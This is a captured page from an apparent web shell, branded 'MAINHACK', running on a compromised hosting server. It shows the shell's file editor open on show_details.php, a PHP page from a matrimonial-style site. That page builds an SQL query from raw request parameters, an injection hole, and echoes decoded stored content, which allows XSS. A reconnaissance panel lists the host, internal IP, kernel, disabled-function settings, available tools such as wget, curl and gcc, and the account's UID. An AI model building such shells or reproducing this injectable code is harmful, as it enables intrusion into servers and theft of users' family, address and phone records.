[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: show_details.php
<?php include 'settings/settings.php'; $user=$_REQUEST['user']; $order=$_REQUEST['order']; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Show Details</title> <style type="text/css" media="print"> @page { size: auto; /* auto is the initial value */ margin: 0mm; /* this affects the margin in the printer settings */ } html { background-color: #FFFFFF; margin: 0px; /* this affects the margin on the html before sending to printer */ } body { } </style> <style> body{font-family: "Kanit", sans-serif; font-size:14px;} table{ border-collapse:collapse; width:100%;} table tr,td,th{ border:1px solid #fff; padding:6px;} div.table{margin: 60px auto; width: 70%; background: #f0f0f0; padding: 10px; border-radius: 11px;} .left-border{ border-left: 1px solid #fff;} table.top tr:nth-child(1) p { margin-top: 0px !important; margin-bottom: 0px !important; text-align:left;} table.top tr:nth-child(2){ border-bottom:none;} table.top tr:nth-child(3){border-top:none; border-bottom:none;} table.top tr:nth-child(4){border-top:none;} table.top tr:nth-child(2) td{text-align:left;} table.top tr:nth-child(3) td{text-align:left;} table.top tr:nth-child(4) td{text-align:left;} label{ font-weight:bold;} .no{border:none;} table.no tr th{ border:none;} .heigh{ border-top:none; text-align:center; } table.heigh tr:last-child td{ padding-bottom:1em;} table.heigh tr,td{} table.top{border:1px solid #fff;} table.top tr,td{ border:none;background: #fff;} table.bottom td{ text-align:left; border:none;} table.bottom tr:nth-child(1){ border-bottom:none;} table.bottom tr:nth-child(2){ border-bottom:none; border-top:none;} table.bottom tr:nth-child(3){ border-top:none;} table.bottom tr:nth-child(4) td{ padding-top:5em; padding-bottom:2em;} .text-center{ text-align:center !important;} .text-right{ text-align:right !important;} table.new-table{ border:1px solid #fff;} table.new-table tr th{ border:1px solid #fff;} table.new-table tr{ border:none;} table.new-table tr td.no-left{ border-right: 1px solid #fff; background: #f9f9f9;} table.new-table tr td.no-left p{ width: 50%; float: left; display: block; padding: 0 0; margin: 0 0 4px; font-size: 15px; font-family: arial; line-height: 25px; color: #041431d6;} table.new-table tr td.no-left p label{ text-transform: uppercase; font-size: 14px; padding: 0 5px 0 0; margin: 0; color: #080120d1;} .print{padding: 7px 15px; margin: 0 auto; Color: #fff; background: #480057; Color: #fff; border: none; box-shadow: 2px 2px 5px #320a537a; } .no-print{ margin:2em 0;} @media print { .no-print, .no-print * { display: none !important; } table.new-table tr th { border: 1px solid #fff; background: #514e4e; color: #fff; } table.new-table tr td.no-left p{ width: 100%;} div.table{margin: 20px auto; width: 99%; background: #f0f0f0; padding: 10px; border-radius: 1px;} } </style> <!-- Google Font --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Josefin+Sans:ital,wght@0,100..700;1,100..700&family=Lobster+Two:ital,wght@0,400;0,700;1,400;1,700&display=swap" rel="stylesheet"> </head> <body> <div class='privacy about' style='padding:0 5em 5em 2em;'> <div class="table"> <table class="top"> <tr> <?php $sq="select *,orders.date as p_Date from orders inner join user on user.user_id = orders.user_id where orders.user_id='".$user."' and orders.order_id='".$order."' order by orders.id desc limit 1"; // echo $sq; $r=$con->prepare($sq); $r->execute(); $c=$r->rowCount(); if($c<=0){ echo ""; }else{ while($row = $r->fetch(PDO::FETCH_ASSOC)){ $add=$row['address']; $order=$row['order_id']; $pin=$row['pincode']; $ustate=$row['state']; $name=$row['name']; $id=$row['user_id']; $phn=$row['phone']; $p_Date=$row['p_Date']; $state=$row['state']; $uemail=$row['email']; } } /*$stmt1=$show->readwithdata('orders','order_id',$order); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ $add1=$row['address']; //$pin1=$row1['pincode']; $pay_st=$row['pay_status']; $amount=$row['amount']; $othr=$row['other']; } } */ ?> <td width="20%"> <h2 style="font-size: 30px; color: #f15625;"><b><?=$company_name?></b></h2> </td> <!-- <td width="40%"><h2 class="text-center">FashionTradet</h2></td> --> <td width="30%" class="text-right"><img src="<?=$company_logo?>" width="80%" /></td></tr> </table> <table width="100%" class="new-table"> <tr> <th colspan="2" class="text-center">Report Details</th> </tr> <?php $sr='orders'; $stmt =$show->readwithdata($sr,'order_id',$_REQUEST['order']); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ ?> <tr> <td class="no-left" colspan="2"> <!--<p><img src="<?=$pic_img?>/<?=$row['image']?>" width="100px"></p>--> <p><label>Marraige Type</label>: <?=$row['marraige_type']?></p> <p><label>Type</label>: <?=$row['type']?></p> <p><label>Name</label>: <?=$row['name']?></p> <p><label>DOB</label>: <?=date('d-m-Y',strtotime($row['dob']))?></p> <p><label>Phone/Alt Phone</label>: <?=$row['phone']?> / <?=$row['alt_phone']?></p> <p><label>Residential Address</label>: <?=$row['residential_address']?></p> <p><label>Pincode & Landmark</label>: <?=$row['pincode']?> / <?=$row['landmark']?></p> <p><label>Office Address</label>: <?=$row['office_address']?></p> <p><label>Office Pincode</label>: <?=$row['office_pincode']?></p> <p><label>Designation</label>: <?=$row['designation']?></p> <p><label>Brothers & Sisters</label>: <?=$row['brothers']?> / <?=$row['sisters']?></p> <p><label>Father Name & Phone</label>: <?=$row['father']?> | <?=$row['father_phone']?></p> <p><label>Father Office Address</label>: <?=$row['father_office_address']?></p> <p><label>Mother Name & Phone</label>: <?=$row['mother']?> | <?=$row['mother_phone']?></p> <p><label>Mother Office Address</label>: <?=$row['mother_office_address']?></p> <p><label>Description</label>: <?=htmlspecialchars_decode($row['content'])?></p> <p><label>Package ID & Name</label>:<?=$row['package_id']?> | <?=$row['package']?> | <?=$row['no_of_days']?> Days</p> <p><label>Package Price</label>: <?=$row['discounted_price']?></p> </td> </tr> <?php } } ?> </table> <div class="no-print" align="center"> <button onclick="myFunction()" class="print">Print this page</button> <div> <script> function myFunction() { window.print(); } </script> </div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619